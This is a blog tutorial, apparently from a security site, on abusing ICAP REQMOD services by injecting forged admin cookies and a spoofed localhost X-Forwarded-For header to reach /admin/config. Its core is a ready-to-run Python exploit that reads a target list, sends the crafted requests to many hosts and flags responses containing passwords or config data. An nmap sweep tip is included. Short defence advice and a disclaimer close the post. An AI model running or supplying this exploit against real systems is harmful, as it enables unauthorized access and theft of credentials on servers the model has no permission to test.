Exploiting ICAP REQMOD for Privilege Escalation: A Hands-On Guide

Posted by: CyberSec Labs
Tags: #Security #CTF #ICAP #Exploitation #Python #WebSecurity #RedTeaming


Have you ever come across ICAP (Internet Content Adaptation Protocol) in a CTF challenge or internal penetration test? While often overlooked, misconfigured ICAP services can be a goldmine for attackers — especially when they blindly trust modified requests.

In this post, we’ll walk through how to:

  • Analyze a suspicious ICAP REQMOD request
  • Identify privilege escalation vectors
  • Write a custom Python exploit
  • Scale it using a list of vulnerable hosts (targets.txt)
  • And potentially gain access to admin endpoints like /admin/config

Let’s dive in.

🧩 What Is ICAP?

ICAP (Internet Content Adaptation Protocol) is used primarily by proxy servers (like Squid) to offload content filtering, virus scanning, or modification tasks to external services.

Two main operations:

  • REQMOD: Modify incoming HTTP requests
  • RESPMOD: Modify outgoing HTTP responses

If improperly secured, these endpoints can be abused to inject privileged headers, bypass access controls, or even lead to SSRF and RCE.

⚠️ The Vulnerable Request

Here’s an example REQMOD request captured during a CTF:

REQMOD icap://127.0.0.1:1344/reqmod ICAP/1.0
Host: 127.0.0.1:1344
User-Agent: CTF-Test-Client
Allow: 204
Encapsulated: req-hdr=0, null-body=177

GET /admin/config HTTP/1.1
Host: target-server.com
User-Agent: Mozilla/5.0
Authorization: Bearer malicious-token
X-Forwarded-For: 127.0.0.1
Cookie: admin=true; privileged=1
  

At first glance, this looks like normal traffic. But look closer:

πŸ”Ž Red Flags:

  • X-Forwarded-For: 127.0.0.1 → Could bypass IP-based allowlists
  • Cookie: admin=true; privileged=1 → Manually set privilege flags
  • Accessing /admin/config → Sensitive endpoint
  • Running on port 1344, the default ICAP port

πŸ‘‰ This suggests the backend server may trust requests processed by the ICAP service, making it possible to escalate privileges simply by injecting forged headers.

πŸ’£ Attack Vectors Identified

Vector Risk
Privilege Escalation High – Forged cookies grant admin access
SSRF via Internal Proxy Chain Medium – Can probe internal services
Header Injection / Smuggling Medium – Parser quirks may exist
Command Injection Low but possible – If backend runs unsafe commands

Our best bet? Abuse trust in the ICAP flow to make the backend believe the request came from localhost with admin rights.

πŸ› ️ Building the Exploit: Python Script

We wrote a Python script that automates sending malicious REQMOD requests to multiple ICAP servers.

But instead of hardcoding targets, we pull them from a file called targets.txt, allowing scalable testing across networks.

✅ Features:

  • Reads IP:PORT pairs from targets.txt
  • Sends crafted REQMOD with forged admin headers
  • Saves responses to individual log files
  • Detects potential success indicators (e.g., flags, 200 OK, config dumps)

πŸ“œ Full Python Exploit Code

Copy and run this script to launch your attack:

#!/usr/bin/env python3

import socket
import sys
import os
from datetime import datetime

# ============ CONFIGURATION =============
TARGETS_FILE = "targets.txt"
ICAP_SERVICE = "/reqmod"
TIMEOUT = 10
OUTPUT_DIR = "results"

if not os.path.exists(OUTPUT_DIR):
    os.makedirs(OUTPUT_DIR)

HTTP_REQUEST = """\\
GET /admin/config HTTP/1.1
Host: target-server.com
User-Agent: Mozilla/5.0
Authorization: Bearer malicious-token
X-Forwarded-For: 127.0.0.1
Cookie: admin=true; privileged=1
Connection: close

"""

REQHDR_OFFSET = 0
NULL_BODY_OFFSET = len(HTTP_REQUEST)

def build_icap_request(ip, port):
    icap_request = f"""\\
REQMOD icap://{ip}:{port}{ICAP_SERVICE} ICAP/1.0\\r
Host: {ip}:{port}\\r
User-Agent: CTF-Test-Client\\r
Allow: 204\\r
Encapsulated: req-hdr={REQHDR_OFFSET}, null-body={NULL_BODY_OFFSET}\\r
\\r
{HTTP_REQUEST}
""".replace("\n", "\r\n")
    return icap_request.encode('utf-8')

def send_to_target(ip, port):
    print(f"[→] Testing target: {ip}:{port}")
    request = build_icap_request(ip, port)
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(TIMEOUT)
        sock.connect((ip, int(port)))
        
        sock.send(request)
        
        response = b""
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
        
        sock.close()

        response_text = response.decode('utf-8', errors='replace')
        
        outfile = os.path.join(OUTPUT_DIR, f"{ip}_{port}.txt")
        with open(outfile, 'w') as f:
            f.write(f"# ICAP Response for {ip}:{port}\n")
            f.write(f"# Timestamp: {datetime.now()}\n\n")
            f.write(response_text)
        
        lower_resp = response_text.lower()
        if 'admin' in lower_resp or 'flag{' in lower_resp or 'password' in lower_resp or '200' in response_text.splitlines()[0]:
            print(f"[✅] SUCCESS on {ip}:{port} — Possible sensitive data found!")
        else:
            print(f"[✔] Got response from {ip}:{port}, but no obvious success.")
            
    except Exception as e:
        print(f"[❌] Failed {ip}:{port} — {e}")

def load_targets():
    try:
        with open(TARGETS_FILE, 'r') as f:
            lines = [line.strip() for line in f.readlines() if line.strip() and not line.startswith('#')]
        targets = []
        for line in lines:
            try:
                ip, port = line.split(':')
                targets.append((ip.strip(), port.strip()))
            except ValueError:
                print(f"[⚠️] Invalid line in targets.txt: {line}")
        return targets
    except FileNotFoundError:
        print(f"[❌] {TARGETS_FILE} not found!")
        sys.exit(1)

if __name__ == "__main__":
    targets = load_targets()
    if not targets:
        print("[❌] No valid targets loaded.")
        sys.exit(1)

    print(f"[+] Loaded {len(targets)} target(s) from {TARGETS_FILE}")
    print(f"[πŸ”] Attempting REQMOD exploit...\n")

    for ip, port in targets:
        send_to_target(ip, port)

    print(f"\n[🏁] Exploitation complete. Responses saved in './{OUTPUT_DIR}/'")
  

πŸ“„ Example targets.txt

Create this file in the same directory:

# Internal ICAP servers
192.168.1.10:1344
192.168.1.20:1344
10.0.0.5:1344
  

πŸ’‘ Tip: Use Nmap to scan for open port 1344:
nmap -p 1344 192.168.1.0/24

πŸ“‚ Output & Detection

Each successful (or failed) attempt is logged under the results/ folder:

results/
├── 192.168.1.10_1344.txt
├── 192.168.1.20_1344.txt
└── 10.0.0.5_1344.txt
  

Look for:

  • HTTP 200 responses
  • JSON config dumps
  • Strings like "db_password", "api_key", or flag{...}

You might just find the crown jewels!

πŸ›‘️ How to Defend Against This

If you're running ICAP services, here’s how to stay safe:

  1. Never trust headers added by ICAP without validation.
  2. Filter or sanitize injected fields like X-Forwarded-For, cookies, and authorization tokens.
  3. Restrict access to ICAP ports (1344/TCP) via firewalls.
  4. Disable unnecessary ICAP services in production.
  5. Log and monitor unusual REQMOD activity.

Trust, but verify — especially at the proxy layer.

🏁 Conclusion

ICAP may seem obscure, but in environments where proxies enforce security policies, a vulnerable ICAP server can become a backdoor to privilege escalation.

By understanding how REQMOD works and crafting targeted exploits, red teamers and CTF players can bypass authentication, extract configs, and move laterally.

πŸ”§ Key Takeaways:

  • Always inspect encapsulated HTTP content in ICAP flows
  • Test for trust assumptions in downstream systems
  • Automate exploitation with scripts like the one above

πŸ“’ Feedback & Contributions

Found a new ICAP exploit vector? Modified the script for async support or OOB detection?

Share your thoughts in the comments below!

And don’t forget to:
πŸ‘ Like this post
πŸ”— Share it with fellow hackers
πŸ”” Subscribe for more deep dives into obscure protocols

Happy hacking! πŸ’₯
— CyberSec Labs

⚠️ Disclaimer: This blog is for educational purposes only. Always obtain proper authorization before testing systems.

Popular posts from this blog

Tutorial: Build an AI Penetration Tester with Claude (MCP + Burp)

InfluxDB TCP 8086 (Default) — Authentication Bypass & Pentest Notes

Mastering PowerShell Execution Policy Bypass